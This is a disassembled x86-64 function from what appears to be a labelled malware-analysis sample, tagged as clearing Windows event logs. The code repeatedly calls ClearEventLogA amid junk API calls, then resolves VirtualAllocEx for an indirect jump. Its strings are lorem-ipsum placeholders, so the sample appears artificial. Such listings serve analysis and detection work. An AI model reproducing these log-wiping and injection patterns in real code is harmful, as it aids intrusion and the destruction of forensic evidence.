Function at 0x6bad2577
Capabilities:
Access the windows event log
Clear windows event logs
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x64], eax
mov rax, qword [0x6bb85d20]
mov qword [rsp + 0x48], rcx
cmp dword [rax], 0xbe3
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
mov dword [rsp + 0x60], r9d
jne 0x6bad2dc2
mov rax, qword [0x6bb85ff0]
lea r8, str.Earum_sunt_iure_quisquam_sed
mov rdi, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor ecx, ecx
mov dword [rax], 0x39169761
mov rax, qword [0x6bb85b40]
mov edx, dword [rax]
mov rax, qword [0x6bb85ce0]
mov dword [rax], edx
mov rax, qword [0x6bb85f40]
xor edx, edx
mov dword [rax], 0xb2b98f7a
call rdi
mov r14, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov r15, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r15
mov rax, qword [0x6bb854e0]
xor ecx, ecx
mov rbx, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.Iure_omnis_earum_tempora_quibusdam
mov dword [rax], 0x3ae45ca9
call rbx
mov rsi, qword [0x6bb85860]
mov rax, qword [0x6bb85cd0]
mov ecx, 0xa4b38132
mov edx, dword [rsi]
mov dword [rax], edx
mov rax, qword [0x6bb85e10]
mov edx, dword [rax]
mov rax, qword [0x6bb85660]
mov dword [rax], edx
mov rax, qword [0x6bb85b00]
mov edx, dword [rax]
mov rax, qword [0x6bb85af0]
mov dword [rax], edx
mov rax, qword [0x6bb85b90]
mov dword [rax], 0xd9d3360
mov rax, qword [0x6bb85d70]
mov edx, dword [rax]
mov rax, qword [0x6bb86050]
mov dword [rax], edx
call fcn.6bad7ff0
mov r12, qword [0x6bb85cb0]
mov rbp, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rsi], 0xc2b60b57
lea rcx, str.ProfKamronWaelchi
mov dword [r12], eax
mov rax, qword [0x6bb85b70]
mov dword [rax], 0xcc50755e
call rbp
lea r8, str.ElmiraBernhard
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x6bb85690]
mov dword [rax], 0x1cf1c96f
mov rax, qword [0x6bb85460]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb854c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb85de0]
mov dword [rax], 0x76b78eb0
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x38], rax
call rax
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Quo_cum_omnis_vel_tenetur_suscipit_sit
lea rcx, str.Molestias_tempore_aut_numquam_modi_harum_quam_praesentium
call rsi
mov r11, qword [0x6bb85bb0]
mov rax, qword [0x6bb85800]
xor ecx, ecx
mov edx, dword [r11]
mov dword [rax], edx
mov rax, qword [0x6bb85970]
mov dword [rax], 0xbf2129db
call r14
mov rax, qword [0x6bb86040]
lea rcx, str.Commodi_ea_ut_impedit_autem_vel_quaerat_in_aut_fugit
mov dword [rax], 0x3e42610a
call rbp
mov rax, qword [0x6bb85e00]
lea rcx, str.ProfLewisGreenholtIII
mov edx, dword [rax]
mov rax, qword [0x6bb85df0]
mov dword [rax], edx
call rbp
mov rax, qword [0x6bb858d0]
lea rdx, str.In_odio_sequi_sed
lea rcx, str.MikelTorp
mov dword [rax], 0xaa67ea91
mov rax, qword [0x6bb85610]
mov dword [rax], 0xa945133f
call rsi
mov ecx, 0x3e24d0de
call fcn.6bad7ff0
mov rdx, qword [0x6bb85820]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb85fd0]
mov dword [rax], 0xd5be4e12
mov rax, qword [rsp + 0x38]
call rax
lea rdx, str.RoseSchimmel
lea rcx, str.ClementineMcLaughlin
call rsi
mov rax, qword [0x6bb85f70]
lea r8, str.Quaerat_eaque_magnam_non_velit_id_earum_ipsum_vero
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xfa12ed99
call rdi
mov r13, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x6bb85630]
lea rcx, str.CelineCrona
mov edx, dword [rax]
mov rax, qword [0x6bb85b30]
mov dword [rax], edx
lea rdx, str.ChristopProhaska
call rsi
xor ecx, ecx
call r15
mov rax, qword [0x6bb86040]
xor ecx, ecx
mov dword [rax], 0xfbe68bc
mov rax, qword [0x6bb85dc0]
mov dword [rax], 0x4107e0de
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x6bb857c0]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rcx, qword [0x6bb85be0]
mov dword [rcx], eax
lea rcx, str.RobbOKeefe
call rbp
mov r10, qword [str.qCeHV]
mov rax, qword [0x6bb856b0]
xor ecx, ecx
lea r8, str.Nam_possimus_optio_aut_quidem_voluptatem
mov edx, dword [r10]
mov dword [rax], edx
mov rax, qword [0x6bb854d0]
xor edx, edx
mov dword [rax], 0xdbc49765
call rdi
lea rdx, str.Distinctio_veniam_repellat_nisi
xor ecx, ecx
call rbx
mov ecx, 0x70ca875f
mov dword [r12], 0xc4a918f9
call fcn.6bad7ff0
mov rdx, qword [0x6bb85770]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov rax, qword [0x6bb85850]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rcx, qword [0x6bb85510]
xor edx, edx
lea r8, str.Et_voluptatem_id_et_ut_quia_laborum_voluptatem_dolor_libero
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
mov r12, qword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x6bb855a0]
mov dword [rax], 0x57231ba4
mov rax, qword [0x6bb85aa0]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85710]
mov ecx, 0xbe0f8eeb
mov dword [rdx], eax
call fcn.6bad7ff0
mov rcx, qword [0x6bb85d40]
lea rdx, str.Ipsum_et_voluptatibus_cum_incidunt_dicta_voluptatem
mov dword [rcx], eax
xor ecx, ecx
call rbx
lea rcx, str.Provident_totam_cupiditate_quos_unde
call rbp
mov rax, qword [0x6bb85b70]
mov rcx, qword [0x6bb85680]
lea rdx, str.OttisOKon
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.MrsMaryjaneGrimes
call rsi
mov rax, qword [0x6bb85760]
mov dword [rax], 0x85860a64
mov rax, qword [0x6bb85b20]
mov edx, dword [rax]
mov rax, qword [0x6bb853f0]
mov dword [rax], edx
mov rax, qword [0x6bb85e80]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85a90]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb85310]
lea rdx, str.Ipsum_et_nostrum_ut_qui_aut
mov dword [rax], 0x2d0c2304
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call r12
xor ecx, ecx
lea rdx, str.Consequatur_vitae_impedit_laborum_sed_omnis_accusantium_rem
call rbx
xor edx, edx
xor ecx, ecx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call r12
mov ecx, 0x987d1240
call fcn.6bad7ff0
mov rcx, qword [0x6bb85d40]
lea rdx, str.Quibusdam_est_suscipit_expedita_doloremque
mov dword [rcx], eax
xor ecx, ecx
call rbx
lea rcx, str.Cum_et_et_voluptas
call rbp
mov r10, qword [str.qCeHV]
mov rax, qword [0x6bb85d00]
mov ecx, 0xe35444eb
mov edx, dword [r10]
mov dword [rax], edx
call fcn.6bad7ff0
mov rcx, qword [0x6bb85690]
mov dword [rcx], eax
mov ecx, 0x213c6c01
call fcn.6bad7ff0
mov rcx, qword [0x6bb85b70]
mov r10, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [rcx], eax
mov rax, qword [0x6bb85f50]
lea rcx, str.Sit_possimus_asperiores_ipsa_et_illo_quae
mov qword [rsp + 0x68], r10
mov edx, dword [rax]
mov rax, qword [0x6bb85c70]
mov dword [rax], edx
call r10
mov ecx, 0x117858f8
call fcn.6bad7ff0
mov rcx, qword [0x6bb857c0]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
call r15
lea r8, str.In_odit_aspernatur_nihil_animi_repudiandae_rerum_aut
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x6bb85870]
lea rcx, str.Facilis_nihil_quia_in_aut_sed_eum_ipsa_ut_incidunt_ut
mov edx, dword [rax]
mov rax, qword [0x6bb85840]
mov dword [rax], edx
mov rax, qword [0x6bb85dc0]
mov dword [rax], 0xb5d29e70
call rbp
mov ecx, 0xececa156
call fcn.6bad7ff0
mov rdx, qword [0x6bb85fa0]
mov dword [rdx], eax
mov rax, qword [0x6bb858a0]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85430]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x40]
call rax
mov ecx, 0x4204445
call fcn.6bad7ff0
mov r11, qword [0x6bb85bb0]
mov rdx, qword [0x6bb85e40]
mov dword [rdx], eax
mov edx, dword [r11]
mov rax, qword [0x6bb85810]
mov dword [rax], edx
mov rax, qword [0x6bb85f50]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85480]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call r12
mov ecx, 0xfce30d0
call fcn.6bad7ff0
mov rdx, qword [0x6bb85740]
lea r8, str.CloydOlsonJr
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x6bb855e0]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85900]
mov r10, qword [rsp + 0x68]
lea rcx, str.Et_voluptas_modi_et_autem_quia_veniam_commodi_commodi_rem
mov dword [rdx], eax
mov rax, qword [0x6bb858e0]
mov dword [rax], 0xe7f809d2
mov rax, qword [0x6bb85a80]
mov dword [rax], 0xb1ec0dea
call r10
mov ecx, 0xb8a1b989
call fcn.6bad7ff0
mov rdi, qword [0x6bb85be0]
mov ecx, 0x62d3604b
mov dword [rdi], eax
call fcn.6bad7ff0
mov rdi, qword [0x6bb85630]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x6bb85b20]
mov dword [rax], 0x2c8d499e
mov rax, qword [0x6bb853c0]
mov dword [rax], 0x9a2053e
mov rax, qword [0x6bb85530]
mov dword [rax], 0xbe68c40e
mov rax, qword [0x6bb858b0]
mov dword [rax], 0x34bd82ac
mov rax, qword [0x6bb85f60]
mov dword [rax], 0x946dda96
call r13
mov rax, qword [0x6bb85510]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xcd8c3db7
mov qword [rsp + 0x20], 0
call r12
mov rax, qword [0x6bb85460]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb85790]
mov dword [rax], edx
mov rax, qword [0x6bb85bf0]
mov edx, dword [rax]
mov rax, qword [0x6bb85c20]
mov dword [rax], edx
xor edx, edx
call r13
xor edx, edx
xor ecx, ecx
call r13
xor ecx, ecx
call r15
mov rax, qword [0x6bb85680]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdi, qword [0x6bb85f50]
lea rcx, str.Nisi_qui_et_sit_vel_ratione_ipsam_ut_ut_qui_incidunt_ut_adipisci
mov dword [rdi], eax
mov rax, qword [0x6bb86040]
mov edx, dword [rax]
mov rax, qword [0x6bb85370]
mov dword [rax], edx
lea rdx, str.Ab_voluptatibus_eum_expedita_consequatur_sunt_tempore_porro_quia_quam_ex
call rsi
mov rax, qword [0x6bb85c10]
xor ecx, ecx
mov dword [rax], 0x680ba941
mov rax, qword [0x6bb85850]
mov edx, dword [rax]
mov rax, qword [0x6bb85620]
mov dword [rax], edx
lea rdx, str.Nisi_voluptatibus_nemo_consequatur_occaecati_sequi_deleniti_earum_et_dignissimos
call rbx
xor ecx, ecx
lea rdx, str.Perspiciatis_enim_maxime_quo_modi_enim_laborum_voluptate_qui_nihil
call rbx
mov rax, qword [0x6bb85b20]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x7ccc42f
mov rax, qword [0x6bb85cf0]
mov dword [rax], 0x5f0fcd1a
mov qword [rsp + 0x20], 0
call r12
lea rdx, str.NaomiPouros
lea rcx, str.MissBrookeAnkunding
call rsi
mov ecx, 0x413c150c
call fcn.6bad7ff0
mov rdx, qword [0x6bb85d90]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x6bb85fb0]
mov rbx, qword [0x6bb85f50]
mov edx, dword [rax]
mov rax, qword [0x6bb85930]
mov dword [rax], edx
mov rax, qword [0x6bb855b0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x6bb85c50]
mov dword [rax], 0xb5361426
lea rdx, str.VirtualAllocEx
lea rcx, str.kernel32.dll
call fcn.6bad0c06
mov ebx, dword [rsp + 0x64]
mov r9d, dword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov dword [rsp + 0xe0], ebx
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax